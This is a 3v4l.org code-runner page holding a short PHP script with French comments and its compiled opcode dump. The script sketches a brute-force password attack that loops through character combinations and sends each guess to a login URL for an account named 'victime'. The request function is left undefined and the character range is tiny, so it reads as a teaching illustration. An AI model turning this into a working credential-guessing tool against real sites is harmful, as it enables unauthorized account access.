3v4l.org

run code in 300+ PHP versions simultaneously
<?php $maxLength = 5; $minCharValue = 33; $maxCharValue = 36; $pass = array(); // une petite fonction utilitaire pour récupérer le mot de passe en string function arrayToString($array) { return implode( array_map('chr', $array) ); } // la fonction qui teste le mot de passe ! function test($array) { $password = arrayToString($array); $result = faireUneRequete("https://www.lesite.com/login.php?pseudo=victime&pass=$password"); return $result; } while( count($pass) < $maxLength + 1) { // on incrémente la première lettre for ($i = $minCharValue; $i <= $maxCharValue; $i++) { $pass[0] = $i; // puis on test le mot de passe ! if ( test($pass) ){ // si on a trouvé, on s'arrête echo arrayToString($pass); break; } } // on remet à zéro (33, en fait) tous les caractères qui sont arrivés au bout $j = 0; while ( $pass[$j] == $maxCharValue ) { $pass[$j] = $minCharValue; $j++; // si $j dépasse la taille de $pass, il faut l'agrandir ! // sinon, Undefined offset if ($j >= count($pass) ) { $pass[$j] = $minCharValue - 1; } } // on incrémente la denière lettre qui n'est pas 126 $pass[$j]++; }
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 37
Branch analysis from position: 37
2 jumps found. (Code = 44) Position 1 = 41, Position 2 = 5
Branch analysis from position: 41
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 5
1 jumps found. (Code = 42) Position 1 = 19
Branch analysis from position: 19
2 jumps found. (Code = 44) Position 1 = 21, Position 2 = 7
Branch analysis from position: 21
1 jumps found. (Code = 42) Position 1 = 32
Branch analysis from position: 32
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 23
Branch analysis from position: 35
2 jumps found. (Code = 44) Position 1 = 41, Position 2 = 5
Branch analysis from position: 41
Branch analysis from position: 5
Branch analysis from position: 23
2 jumps found. (Code = 43) Position 1 = 29, Position 2 = 32
Branch analysis from position: 29
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 23
Branch analysis from position: 35
Branch analysis from position: 23
Branch analysis from position: 32
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 18
Branch analysis from position: 13
1 jumps found. (Code = 42) Position 1 = 21
Branch analysis from position: 21
Branch analysis from position: 18
2 jumps found. (Code = 44) Position 1 = 21, Position 2 = 7
Branch analysis from position: 21
Branch analysis from position: 7
filename:       /in/9LC6s
function name:  (null)
number of ops:  42
compiled vars:  !0 = $maxLength, !1 = $minCharValue, !2 = $maxCharValue, !3 = $pass, !4 = $i, !5 = $j
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 5
    5     1        ASSIGN                                                   !1, 33
    6     2        ASSIGN                                                   !2, 36
    7     3        ASSIGN                                                   !3, <array>
   23     4      > JMP                                                      ->37
   26     5    >   ASSIGN                                                   !4, !1
          6      > JMP                                                      ->19
   27     7    >   ASSIGN_DIM                                               !3, 0
          8        OP_DATA                                                  !4
   29     9        INIT_FCALL                                               'test'
         10        SEND_VAR                                                 !3
         11        DO_FCALL                                      0  $12     
         12      > JMPZ                                                     $12, ->18
   31    13    >   INIT_FCALL                                               'arraytostring'
         14        SEND_VAR                                                 !3
         15        DO_FCALL                                      0  $13     
         16        ECHO                                                     $13
   32    17      > JMP                                                      ->21
   26    18    >   PRE_INC                                                  !4
         19    >   IS_SMALLER_OR_EQUAL                                      !4, !2
         20      > JMPNZ                                                    ~15, ->7
   37    21    >   ASSIGN                                                   !5, 0
   38    22      > JMP                                                      ->32
   39    23    >   ASSIGN_DIM                                               !3, !5
         24        OP_DATA                                                  !1
   40    25        PRE_INC                                                  !5
   43    26        COUNT                                            ~19     !3
         27        IS_SMALLER_OR_EQUAL                                      ~19, !5
         28      > JMPZ                                                     ~20, ->32
   44    29    >   SUB                                              ~22     !1, 1
         30        ASSIGN_DIM                                               !3, !5
         31        OP_DATA                                                  ~22
   38    32    >   FETCH_DIM_R                                      ~23     !3, !5
         33        IS_EQUAL                                                 !2, ~23
         34      > JMPNZ                                                    ~24, ->23
   49    35    >   FETCH_DIM_RW                                     $25     !3, !5
         36        PRE_INC                                                  $25
   23    37    >   COUNT                                            ~27     !3
         38        ADD                                              ~28     !0, 1
         39        IS_SMALLER                                               ~27, ~28
         40      > JMPNZ                                                    ~29, ->5
   50    41    > > RETURN                                                   1

Function arraytostring:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/9LC6s
function name:  arrayToString
number of ops:  10
compiled vars:  !0 = $array
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   10     0  E >   RECV                                             !0      
   11     1        INIT_FCALL                                               'implode'
          2        INIT_FCALL                                               'array_map'
          3        SEND_VAL                                                 'chr'
          4        SEND_VAR                                                 !0
          5        DO_ICALL                                         $1      
          6        SEND_VAR                                                 $1
          7        DO_ICALL                                         $2      
          8      > RETURN                                                   $2
   12     9*     > RETURN                                                   null

End of function arraytostring

Function test:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/9LC6s
function name:  test
number of ops:  13
compiled vars:  !0 = $array, !1 = $password, !2 = $result
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   15     0  E >   RECV                                             !0      
   16     1        INIT_FCALL                                               'arraytostring'
          2        SEND_VAR                                                 !0
          3        DO_FCALL                                      0  $3      
          4        ASSIGN                                                   !1, $3
   18     5        INIT_FCALL_BY_NAME                                       'faireUneRequete'
          6        NOP                                                      
          7        FAST_CONCAT                                      ~5      'https%3A%2F%2Fwww.lesite.com%2Flogin.php%3Fpseudo%3Dvictime%26pass%3D', !1
          8        SEND_VAL_EX                                              ~5
          9        DO_FCALL                                      0  $6      
         10        ASSIGN                                                   !2, $6
   20    11      > RETURN                                                   !2
   21    12*     > RETURN                                                   null

End of function test

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
164.26 ms | 1407 KiB | 20 Q